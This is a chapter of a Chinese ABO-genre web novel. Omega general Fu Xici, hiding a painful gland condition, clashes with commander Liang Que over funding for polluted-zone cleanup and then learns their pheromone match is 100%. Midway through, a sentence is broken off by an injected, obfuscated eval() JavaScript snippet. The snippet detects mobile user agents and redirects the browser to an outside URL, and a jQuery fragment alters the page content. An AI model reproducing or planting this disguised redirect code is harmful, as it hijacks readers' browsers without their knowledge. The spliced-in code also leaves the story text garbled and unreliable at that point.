听完付溪辞的剖析,医生哑口无言。
被选为这位病人的主治,他是挑了重担,不敢有任何怠慢,得知对方突然产生痛感,自己来的路上打了一肚子草稿。
医生这会儿没能用上几句,瞧付溪辞比他镇定得多,干巴巴地附和了几声。
不愧能做少将,虽然医生明白付溪辞的承受能力很强,完全不需要被旁人安抚,但他直面的时候还是有些震撼。
……大概是这样才能做领导吧,医生心服口服,再打开随身包,递出一盒拆封过的止痛贴。
“如果你之后腺体还疼,可以用这个,里面有镇定成分,我改成了抑制贴的胶布,不会被看出差别。”
付溪辞打听:“之后这种情况会越来越多么?”
医生道:“每个人的情况不一样,但根据既往案例,Alpha的信息素能有缓解作用。”
他说得太谨慎也太委婉,付溪辞笑了声,没有再多问,横竖是讨不到一句准话。
“你的需求特殊,如果身边有谁投缘,我会建议让他做个检测。”医生没有彻底死心。
付溪辞思索:“我觉得我的秘书长不错,干活踏实又有眼力见,很适合接我的班,可惜他是个Beta。”
“那是可以当心腹培养,跟我说的投缘不一样。”医生很想苦笑,“我的意思是做丈夫。”
付溪辞歪过脑袋:“我周围的所有人,如果他们做了丈夫,我会替他们的妻子祈祷。”
在他的人脉网里,联盟高层占了绝大多数,但他不认为这些人具有性方面的魅力可言。
何况他们一天到晚的还不顾家,堂堂指挥官用不来高压锅就可见一斑,平时被公务缠身,没空浪费在别的地方。
自己的状况本就很棘手,要是再配上这类人,发展到终末期都不见得能见几次。
好在这些家伙常驻首都,基本在第一批采样,已经全部被过滤完了。
付溪辞客气地送医生出门,之后拿出止痛贴,备了一张放在外套口袋。
这些天,检测中心没再发信息,可能是忙了几天没结果,害怕打击到付溪辞的心态。
但付溪辞只是困惑,军区流传的光棍诅咒不止笼罩Alpha,难道自己天生是一棵铁树?
他多看了一眼之前的核验报告,发现大部分处在30到35分区间之内。
继而付溪辞上网搜索,按现行的判断标准,这属于可以和睦相处,进退的空间都很大。
能否产生一段感情的因素堪称复杂,社会身份、外貌特征乃至经济收入,都可以成为前提条件。
信息素仅仅是参数之一,代表彼此的关系存在多少潜力,若描述得直白点,只能反应肉i体的天然吸引力。
双方具体能发展到哪一步,它毕竟不是迷魂药,并不能起决定作用。
付溪辞浏览了一会儿,继续滑动网页。
匹配度吃零鸭蛋的被归类为心如死水,简而言之,数字越往上越有概率擦出火花。
从60分开始,两者的信息素能定义成契合,无论是发情期还是易感期,单说原始的快i感,相对而言会更愉悦。
若能达到70分到85分,第一眼就陷入爱河的比例很高,即便没有发展出感情,互相之间也会非常认可。
最后是85分以上,科普的楼主没有多说,只留下神秘的三个字:[回味,爽。]
付溪辞:“……”
他扫了扫留言板,有人询问和对象匹配度太低怎么办,是否要重新考虑结婚的可行性。
1L:[平时没觉得哪里不好,两个人同居也有半年了,出去旅游什么的也没吵过架。
但我们测出来只有28分,以后会不会出问题?有没有懂的网友看看?]
2L:[因为这个就要分手,我觉得你的心态问题比分数低不低的更严重,如果你认为信息素有那么要紧,推荐交往之前先做检测。]
4L:[28分也还可以,你觉得他信息素不好闻么?让他多喷点你喜欢的香水啊。]
7L:[不是指标高就能金婚,楼主既然奔着过日子去的,多关注一下人品呗。]
网友们说到这里,态度基本一边倒,还有人让提问者放平心态。
13L:[除非你遇到85分以上的真命天子,想体验一把天雷勾地火,否则这种东西看着玩玩就得了,不可能每项都能拉满。]
19L:[找炮友的话另议,当然,炮友如果脸很好看,信息素根本不重要。]
付溪辞:“。”
他下午去研究院聊了许久,整个过程极为费力,这会儿没看多久就有点累。
家长里短的讨论离他太远,他很难参与其中有什么共鸣,现在切出网页,再随便地做了点晚饭。
付溪辞的厨艺不算精通,但他吃得简单,菜肴没什么难度。
清水煮蔬菜,小羊排撒点胡椒粉,以及一份荞麦面,他端在餐桌上很快吃完。
虽然明天会有保洁来打扫卫生,但他喜欢清爽,此刻收拾碗筷,直接在水池洗好。
周六的早晨九点钟,保洁到别墅的时候,付溪辞已经回到部里。
他不担心屋子里会少东西,或是被乱翻乱挪,这些人经过严格的审查和培训,都是为了保证自己可以安心居住。
不过,即便如此,他出门前还是把病历都收了起来,《白皮书》被放进保险箱。
付溪辞很难解释这出于什么心理,免得被不小心泄密是一回事,除此之外,自己很抗拒被发现。
可能是不愿意被当成病人?付溪辞想着。
尽管不久前,他的腺体发作过一回,可他不认为这样就需要照顾。
那种关照让他很有负累,付溪辞一向要强,更习惯于独自承担。
他写完昨天搁置的纪要,中午到小区外面吃饭,不够松脆的菠萝包被他省略,梁确之前请的私房菜倒不错。
但他一个人肯定吃不完,他纠结小半天,到街头挑了家炸鸡店。
付溪辞经过上周逛的楼盘,扭头留意了一下,剩下的房源差不多被卖空,大厅里随之没了人流。
那位销售还在上班,眼尖地注意到他,立刻热情地迎进来。
“我能做成那单生意,多亏了有你介绍呀。”销售说,“你带来的客户真爽快。”
付溪辞说:“我是顺手而已。”
销售说:“那肯定还是要谢谢,放心,我这里肯定不坑。”
继而她殷切地问:“你中饭吃没吃?我这里有点心。”
付溪辞潦草道:“我住在附近,刚出来吃好。”
销售很惊喜:“梁先生买的是现房,下个月可以交钥匙,你们很快可以做邻居了啊,有认识的人也能多多照应。”
付溪辞笑了笑:“照我和他的关系,如果我这里起火,他可能是添柴的那个。”
听销售表示完全没看出来,他补充:“以前我和他总吵架,大家除非万不得已,都会特意支开我们。”
说完,付溪辞发觉自己和梁确来到首都之后,共处的时候变得平和了许多。
随着政府宣布反击胜利,悬在头顶的利剑没了,他们不再时时刻刻紧绷着弦,不用被无数的困境逼到极限,自然没有那么多矛盾可以碰撞。
不仅如此,他感觉到梁确有一些变化,对方在战区总是锋芒毕露,如今却在有意识地收起棱角。
局势不一样,处世的方法也不一样,像梁确这样的聪明人,能够很快察觉风向,再仔细做出权衡,调整到最有利的路径上。
付溪辞看得通透,也能够理解这种转变,不过梁确真能接受现在的状态么?
他不太了解,并为此感到危险,老鹰被养进笼子,野性也不会消失,迟早在将来的某一天,迟早为了某件事,会忍不住挣开翅膀。
付溪辞漫无边际地想着,心头徘徊着这桩事,直到他栽进家里沙发。
狮子玩偶就在他手边,付溪辞举起来,将其视作梁确。
“你更适合被放到第五区,这里规矩太多,你装模作样的费劲。”他进行了一番职业规划。
玩偶不吱声,勤恳地扮演着梁指挥,再被付溪辞用手指拨了拨胡须。
“等你搬走了,那套房卖给我吧?我看了也挺喜欢,就是最近懒得折腾。”
他单方面替梁确安排好,本来表情很是狡黠,眼神却忽然一顿,逐渐地冷了下来。
以梁确牵扯到的层面,即便未来有变动,少说要等三四年,付溪辞后知后觉地记了起来。
思及此,他将玩偶搁去角落没再看,心想,自己大概走不到那么远。
日历一页一页往后翻,天气在连续升温,已经颇有春天的意思。
到新的一个礼拜,柳树的枝芽抽出了绿意,有关投放新设备的接洽被安排在周四,当日却是近半个月里难得的阴天。
各区都派了负责人过来,付溪辞空开了全天的日程,一早就开始在中间交涉。
这个过程很不顺利,尽管他早已做过准备,可真正碰了壁,依旧会感到烦心。
放在半年前,大家还恨不得装备全往自己家里运,如今想让他们负责运行成本,一个个都说拿不出半毛钱。
付溪辞看了想发笑,而在他身边,总工程师也非常无奈。
那位工程师说:“诸位,污染区有那么多,全是异种的分泌物,散发的气体能让我们中毒,它还有不小的腐蚀性,在处理之前不可能正常住人。”
他说的内容在场都清楚,回应的是一片安静,然后工程师局促地搓了搓手。
“按我们现在的速度,三十年也不一定能收拾完,那些地就废在那儿,我觉得不太好。”
他试图打动这些人:“这套新的系统更扛腐蚀,我们收回污染区的效率能加快不少……”
“行政意义上说,我们已经收回了。”有人打断。
“异种被清得很干净,我们付出了不能计算的代价,这些年的财政全在透支,钱从哪儿来?还不是大家死咬着硬挤?”
很快,另有人应声:“还没喘口气呢,又要花钱换这些,民众会怎么想?”
他们起了个头,其他人立刻跟上,每个都有很多苦水。
大家说到基础建设被需要维修,以及更想提高现有宜居度,污染区的复原并没有那么着急。
付溪辞听到这里,稀奇道:“那儿是不适合我们活动,可异种在上面繁殖得很开心,但凡留了一只,你们想再打一遍?”
他的嗓音并不大,可他一出声,所有人不约而同地闭上嘴。
议题必然不能一次通过,陷入了长久的僵持,大家虽然不想顶撞付溪辞,但也不乐意支付这笔费用。
以往军方接管战时行政,什么都是一路绿灯,如今倡导军政分离,想批五百钱都要多敲三个章。
他们手头到底有没有富余,付溪辞无从知晓,全凭几张嘴在屋里说。
后续他们被组织讨论,他不太想去,可算知道了梁确为什么在打卡上班。
想推进,却用不上力,太花心思指不定要得抑郁。
梁确这几次都没到场,全是助理发通知,想到这层,付溪辞咬紧了后槽牙。
多方拉扯六七回,他又被告知要开会,这下他直接推开了梁确的办公室大门。
梁确正好在跟人聊天,付溪辞定睛一看,对面是频繁拖延议程的第五区负责人。
“我们俩这交情,谁跟谁?就这样说……”方衡朝梁确笑着,看到付溪辞出现,愣是咽下了其他话。
他主动朝人打招呼,对此,付溪辞冷笑一声,与梁确勾了勾手。
“你出来。”付溪辞没有进门。
梁确原先也要去找他,随即让方衡自便,再走出去,问付溪辞是要聊什么。
付溪辞道:“你这儿的隔音室在哪儿,有事情要和你说。”
梁确道:“楼上有,这层楼的被当成档案室了,他们一直没腾出来。”
付溪辞面无表情:“要是之前有人在你底下这么做事,早被劝退回家了吧?”
梁确说:“当是我稳定就业率了,这里算是政府的大楼,借了几层给军方用,使唤起来也不合适。”
“现在使唤你更难,人家好歹露个脸混工资,你每次都不见影子,牵头的作用在哪儿?替我们订会议室?”
付溪辞的脸色越说越难看,这阵子他为部队顶着压力,没少迁就各方的态度。
终于碰上了该挡前面的总指挥,他没有任何迂回,如此敞开地讲完,浑身的刺都要竖起来。
“你的负担很重我知道。”梁确说。
如果换个人被付溪辞找上,很快就会难以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301622|198653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
招架,可梁确没被镇住,慢条斯理地说:“但我俩逼他们同意,缺了点约束力,他们以后有的是理由打太极。”
付溪辞挑眉:“所以呢?你扣他们在这儿,他们还白蹭食堂几顿饭。”
语罢,他评价:“梁确,你也很会打太极了啊,姓方的你自己最看不惯,现在又能跟他说说笑笑。”
梁确短促地笑了声,笑意却未达眼底:“在改革的节骨眼,你想对他怎么样?”
紧接着,他没等付溪辞回答,告诫道:“我希望你冷静点,别异种这个话题没能意见一致,就恨不得挟持他们答应。”
两人在走廊上往前去,即便各自压着声音,也遮不住话里的锐意。
原先付溪辞还感叹着,这阵子他和梁确没怎么呛过声,眼前统统打回原形,多出了一股火i药味。
对峙之际,拐角处了来几个人,作势要往他们这边走,两人不想被撞到,一前一后停住了脚步。
旁边碰巧是档案室,梁确打开门,握住把手朝反方向一扭,给他和付溪辞落了锁。
档案室内全是资料盒,长年累月地堆在这里,铁架上放得满满当当,扑鼻一股陈旧的凉意。
付溪辞没管这些,说:“你能和他们打好交道,我确实没这耐心,明天的开会你不来,他们不同意就别想走。”
梁确提醒:“你得罪他们,对你以后没好处。”
闻言,付溪辞顿了顿,很轻地嗤道:“我考虑什么以后?”
如果不了解他的身体情况,这句话完全是刻意顶撞,不过,付溪辞不在乎被误解,只想推动梁确去看当下的矛盾。
然而与他设想的方向不同,梁确垂眼瞧他,注意到了他言语里有不对劲。
“你发生什么事了么?搞得这么着急?”梁确说。
他的观察力实在太敏锐,付溪辞险些暴露,好在自己控制住了表情。
付溪辞不能有片刻迟疑,匆匆地反问:“我爸妈是被异种吃掉的,我能不比他们更恨?”
如果说他之前是无所谓,这句话讲完,他不禁攥紧右手,发觉自己确实需要冷静了。
因为对方的经历同样惨痛,梁父殉国的时候,梁确还需要在别处支援,他家几个长辈同是将领,十多年来也为抗争而牺牲。
别人嘴里一句“不能计算的代价”,付溪辞体验得很深刻,梁确也绝对不会浅薄。
尽管这句话里没涵盖对方,可付溪辞出于教养,还是觉得不妥,心乱后无意继续辩论。
“走开,不说了。”付溪辞道,“我不会给改革添乱。”
梁确没有动,档案室被几排铁架占得狭窄,唯有门口勉强站得下人,他在前面挡住了出口,以至于付溪辞不能进退。
“事情没有讲完就要撤,半途放弃不是你的风格啊。”梁确道。
付溪辞抬眼看他:“你想怎样?”
梁确道:“最近我在统计各地的拨款流向,出差到昨天才回来,第五区是真的没多少钱,我刚刚帮他们谈了企业赞助。”
付溪辞愣了下,迟疑地看向他。
“没跟你提前打招呼,是我怕落实不好,这不画饼吗?但确实让你夹在了中间。”
梁确解释完,散漫地背靠门板:“看你生气,别有个三长两短,我可没法负责。”
付溪辞微挑眉梢:“我一直是有事都自己买单。”
交谈渐渐缓和,梁确让他少说得那么独裁主义,军械部就是他一个人负责太多,下属们把他视为全部倚仗,没了他就如同被抽筋扒皮。
付溪辞不置可否,换来梁确得寸进尺:“我们和好了吗?”
付溪辞差点翻白眼:“没好过。”
眼看他的情绪明朗许多,梁确刚想松口气,却见对方身形一晃,下意识地捂住后颈。
这个动作的指向性太强,饶是梁确能布天罗地网,也想不到会有这出……付溪辞是突然腺体不舒服?!
他清楚付溪辞是Omega,可几次共事下来,完全没有这层身份的感知,对方从没为此碍手碍脚过。
以至于他忘了付溪辞也会有Omega特有的生理性征和困扰,一时间,隔在彼此之间的正事被蒸发,档案室内的气氛却猛然收紧。
付溪辞没想到这时候腺体作乱,如果先前走掉了就好了……思及此,他顾不上疼,瞪了原先堵在门口的梁确一眼,看上去是真的要告对方骚扰。
梁确也没料到这出,在他对Omega贫瘠的认知里,感觉付溪辞是来了发情期。
“要不要给你拿抑制剂?”梁确的语调一贯游刃有余,此刻微微绷住。
他这么问着,付溪辞却不答话,幸亏随身有止痛贴,很快被撕开了用上。
药物成分尚未起效,付溪辞强压着内心的错乱,只觉得再待下去,一定会被梁确看出端倪。
“让开。”他的语气很冷。
态势从政事争执变味成了AO问题,梁确当然有避嫌的自觉,立刻开门退出档案室。
紧接着,付溪辞略微踉跄,撞开了他的肩膀,头也不抬地往外走。
靠,这人怎么回事?梁确皱起眉,留意了付溪辞一眼。
阴晴不定,爱摆冷脸,动不动就被惹毛,梁确克制地收回目光,在心里往上贴着标签,得出结论:
——真是个祖宗,以后少不了做冤家,自己不嫌命长,还是尽量离得远点吧。
而另外一边,付溪辞强撑着姿态,期间被同僚问好,努力地挤出几分笑。
好在药物开始发挥作用,他走得很快,躲到僻静的消防通道缓了缓,再拿出屏幕完好的新手机。
他准备告诉医生,时隔没多久,腺体再度有了痛感,但检测中心给他发了好几条未读消息。
其中还有几通未接通话,付溪辞不方便立刻拨回去,先点开了消息列表。
映入眼帘的是一张报告单,打印时间在半小时前,两瓶样本的来源非常眼熟。
一个是自己,一个是……梁确?!
付溪辞不可思议,没懂检测中心发这个干嘛,听说他俩关系糟糕特意八卦,测出了惊天动地的负数?
然后,他猛地回过神,隐约浮现出一种预感,为此冷不丁地打了个颤。
自己的视线随之往下挪去,这张单子的匹配率居然是:
[100%]